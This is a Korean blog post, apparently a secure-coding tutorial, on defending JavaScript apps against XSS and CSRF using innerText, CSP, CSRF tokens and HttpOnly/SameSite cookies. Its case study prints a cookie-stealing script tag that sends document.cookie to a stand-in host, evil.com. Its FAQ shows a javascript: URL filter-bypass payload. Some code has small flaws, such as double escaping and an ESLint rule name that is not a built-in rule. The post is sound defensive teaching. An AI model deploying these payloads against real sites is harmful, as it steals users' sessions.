자바스크립트 보안 가이드: XSS, CSRF 완벽 방어 전략

당신의 자바스크립트는 얼마나 안전한가요? 보안 취약점은 단 1줄의 코드로 수천 명의 사용자 정보를 유출시킬 수 있습니다.

웹 애플리케이션의 70% 이상이 클라이언트 사이드 보안 문제를 안고 있으며, 그 중심에는 XSS(크로스사이트스크립팅)CSRF(사이트 간 요청 위조)가 존재합니다. 이 포스팅에서는 실무에서 자주 발생하는 공격 유형과 이를 방어하기 위한 자바스크립트 시큐어코딩 전략을 전문가 관점에서 예제 코드와 함께 상세히 소개합니다.

XSS와 CSRF 보안을 주제로 한 전문가 인사이트가 담긴 자바스크립트 보안 블로그 썸네일 이미지
JS 보안 가이드: 블로그에서 바로 배우는 XSS·CSRF 실전 대응법

1. XSS란 무엇인가? (실제 공격 사례)

XSS(Cross-Site Scripting)는 악의적인 스크립트를 웹사이트에 삽입하여 사용자의 브라우저에서 실행되도록 하는 공격입니다. 피해자는 웹사이트를 정상적으로 이용했을 뿐인데도, 로그인 쿠키가 탈취되거나 악성코드에 감염될 수 있습니다.

📌 실제 피해 사례:
유명 커뮤니티 사이트에서 댓글 입력 필터링이 제대로 처리되지 않아, 누군가 댓글에 <script>fetch('https://evil.com?cookie=' + document.cookie)</script> 를 삽입함. 이 스크립트는 해당 페이지를 본 수천 명의 사용자의 쿠키를 공격자 서버로 전송함.

2. 자바스크립트 기반 XSS 방어 전략

자바스크립트 레벨에서 XSS를 막기 위한 핵심 전략은 다음과 같습니다:

  1. DOM 조작 시 innerText를 사용: 사용자 입력을 직접 innerHTML로 삽입하는 순간 위험해집니다.
  2. 템플릿 엔진 사용: React, Vue 등은 자동으로 HTML Escape 처리를 해줍니다.
  3. Content Security Policy (CSP) 설정: inline 스크립트를 차단하여 위험한 실행을 제한할 수 있습니다.
  4. 데이터 렌더링 전 검증: input, textarea, JSON 등에서 들어온 데이터는 반드시 escape 및 sanitize 필요

// ❌ 위험한 코드 (XSS 발생 가능)
commentBox.innerHTML = userInput;

// ✅ 안전한 코드
commentBox.innerText = userInput; // 또는 textContent 사용

🔐 작은 코드 습관 하나가 전체 시스템 보안을 지킬 수 있습니다.

3. CSRF의 개념과 위험성

CSRF(Cross-Site Request Forgery)는 사용자가 로그인된 상태를 악용해, 의도하지 않은 요청을 서버에 전송하게 만드는 공격입니다.

예를 들어, 사용자가 은행 사이트에 로그인한 상태에서, 악성 웹페이지를 방문하면 자동 이체 요청이 발생할 수 있습니다. 이는 사용자가 의도하지 않았지만, 브라우저는 해당 쿠키를 자동 전송하므로 공격이 성립됩니다.

📌 요약: XSS는 클라이언트 단의 실행 공격이고, CSRF는 인증된 세션을 도용한 서버 요청 위조입니다. 완전히 다른 공격이지만, 둘 다 JS 시큐어코딩에서 반드시 고려되어야 할 위협입니다.
20대 여성 전문가가 XSS와 CSRF 방어 전략을 설명하는 고품질 자바스크립트 보안 인포그래픽
[JS 보안 인포그래픽] 여성 전문가가 알려주는 XSS, CSRF 완벽 방어 가이드

4. CSRF 토큰과 SameSite 쿠키 적용 예시

CSRF 방어의 핵심은 사용자가 의도하지 않은 요청을 사전에 차단하는 것입니다. 이를 위해 CSRF 토큰SameSite 쿠키 속성을 함께 사용하는 것이 효과적입니다.


// ✅ 서버에서 쿠키 설정 (Express.js 예시)
res.cookie('session_id', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'Strict' // 또는 'Lax'
});



<form method="POST" action="/pay">
  <input type="hidden" name="csrf_token" value="RANDOM_TOKEN">
  <input type="text" name="amount" />
  <button type="submit">결제하기</button>
</form>

🔐 토큰은 세션 단위로 재발급되며, 만료 시간을 설정해야 효과적입니다.

5. 시큐어코딩을 위한 JS 보안 패턴

보안은 일회성이 아닌, 개발 전반에 걸친 습관입니다. 다음의 시큐어코딩 패턴은 JS 개발자라면 반드시 숙지해야 합니다.

  • 💬 사용자 입력 Escape 처리 필수 – XSS 차단의 기본
  • 🔐 인증 정보는 HttpOnly 쿠키에 저장 – localStorage는 XSS에 취약
  • 📦 외부 패키지 보안 점검 – npm audit 또는 Snyk 활용
  • 🚫 위험 함수 차단 – eval(), document.write() 등 사용 금지
  • ✅ CSP 설정 – 외부 리소스 제한, 스크립트 허용 도메인 관리

// ESLint 설정 예시: 보안 룰 적용
"rules": {
  "no-eval": "error",
  "no-implied-eval": "error",
  "no-inner-html": "error"
}


✅ XSS 방어를 위한 입력 처리 & 안전한 렌더링 예시


// JavaScript 보안 패턴 적용 예시 (20줄 이상)
function sanitizeInput(input) {
  const temp = document.createElement("div");
  temp.innerText = input; // innerHTML 대신 innerText 사용
  return temp.innerHTML;
}

function handleInput() {
  const input = document.getElementById("user-input").value;

  // 🔐 사용자 입력 Escape 처리
  const safeInput = sanitizeInput(input);

  // ❌ 절대 금지: innerHTML 직접 삽입 (XSS 취약)
  // document.getElementById("chat-box").innerHTML += `

${input}

`; // ✅ 안전한 렌더링 const messageElement = document.createElement("p"); messageElement.innerText = safeInput; document.getElementById("chat-box").appendChild(messageElement); } // ✅ 보안 이벤트 바인딩 (DOMContentLoaded 이후 안전하게 실행) document.addEventListener("DOMContentLoaded", () => { document.getElementById("user-input").addEventListener("keydown", (e) => { if (e.key === "Enter") handleInput(); }); });

6. JWT, 쿠키, 로컬스토리지 – 어떤 저장 방식이 안전한가?

JS로 인증 처리를 하다 보면 "JWT를 어디에 저장해야 안전할까?"라는 질문이 많습니다. 각 방식의 보안 특성을 아래에 정리해 보았습니다:

저장 방식 보안 위험 추천 여부
localStorage XSS에 매우 취약 ❌ 권장하지 않음
sessionStorage 페이지 간 공유 안됨 ⚠️ 제한적 사용
HttpOnly 쿠키 XSS 보호, CSRF 주의 ✅ 가장 안전

🔑 결론: 민감한 정보는 반드시 HttpOnly + Secure + SameSite 쿠키에 저장하세요.

신뢰감 있는 20대 남성 전문가가 자바스크립트 보안 코드를 설계하는 인포그래픽
[인포그래픽] XSS와 CSRF 보안 전략을 직접 설계하는 JS 보안 실무 가이드

7. 자주 묻는 질문 (FAQ)

Q XSS는 텍스트만 필터링해도 충분히 막을 수 있나요?

아닙니다. 단순한 문자열 필터링은 공격자가 우회할 수 있습니다. 예: <IMG SRC="javascript:alert('XSS')"> 같은 변형 스크립트는 필터를 우회합니다. 정규식 기반 필터링은 반드시 전용 Escape 함수 및 CSP와 함께 사용해야 효과가 있습니다.

Q CSRF 토큰은 왜 매번 새로 발급해야 하나요?

CSRF 공격은 브라우저의 세션 쿠키를 자동 전송하는 특성을 이용합니다. 고정된 토큰은 공격자에게 탈취될 경우 재사용이 가능하므로, 요청마다 새로운 토큰을 발급해야 안전합니다. 또한 만료 시간을 설정하여 오래된 토큰이 작동하지 않도록 해야 합니다.

Q Content-Security-Policy는 어떻게 설정하나요?

서버 응답 헤더 또는 메타 태그에 CSP를 선언합니다. 예시는 다음과 같습니다:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    

이는 모든 리소스를 현재 도메인에서만 로딩하며, 외부 스크립트나 플러그인을 차단합니다.

Q 보안 처리를 서버에서만 하면 되지 않나요?

많은 개발자들이 “서버에서 검증하니까 괜찮다”고 생각하지만, 클라이언트의 잘못된 DOM 조작, 입력 처리 미비, 저장소 노출 등은 서버 보안과 별개로 공격을 유도할 수 있습니다. 따라서 프론트엔드 개발자도 보안에 적극 참여해야 안전한 시스템을 만들 수 있습니다.

Q localStorage에 토큰을 저장해도 괜찮나요?

보안 측면에서는 권장되지 않습니다. localStorage는 자바스크립트로 접근 가능하기 때문에 XSS에 매우 취약합니다. 민감한 정보는 HttpOnly 속성을 가진 쿠키에 저장하는 것이 가장 안전합니다. 저장 매체를 선택할 때는 사용자 경험보다 보안 우선 원칙을 고려해야 합니다.

8. 마무리 요약

✅ 자바스크립트 보안, 예방이 최고의 방어입니다

오늘 소개한 XSS와 CSRF는 웹 프론트엔드에서 가장 흔하고 치명적인 보안 위협입니다. 단 한 줄의 잘못된 코드가 사용자 데이터를 유출하고, 기업의 신뢰를 무너뜨릴 수 있습니다. innerHTML 대신 innerText 사용, CSP 설정, CSRF 토큰 처리 등은 작은 변화지만 강력한 보안 방어선이 됩니다. 프론트엔드 개발자는 기능 구현뿐만 아니라 보안을 코드에 내장하는 습관을 가져야 하며, 이는 단지 선택이 아닌, 현대 웹 개발의 필수 역량입니다.

댓글

이 블로그의 인기 게시물

React, Vue, Angular 비교 분석 – 내 프로젝트에 가장 적합한 JS 프레임워크는?

(시큐어코딩)Express 기반 Node.js 앱 보안 강화를 위한 핵심 기능

2025년 AI 트렌드 완전정리: 당신이 놓치면 안 되는 기술 7가지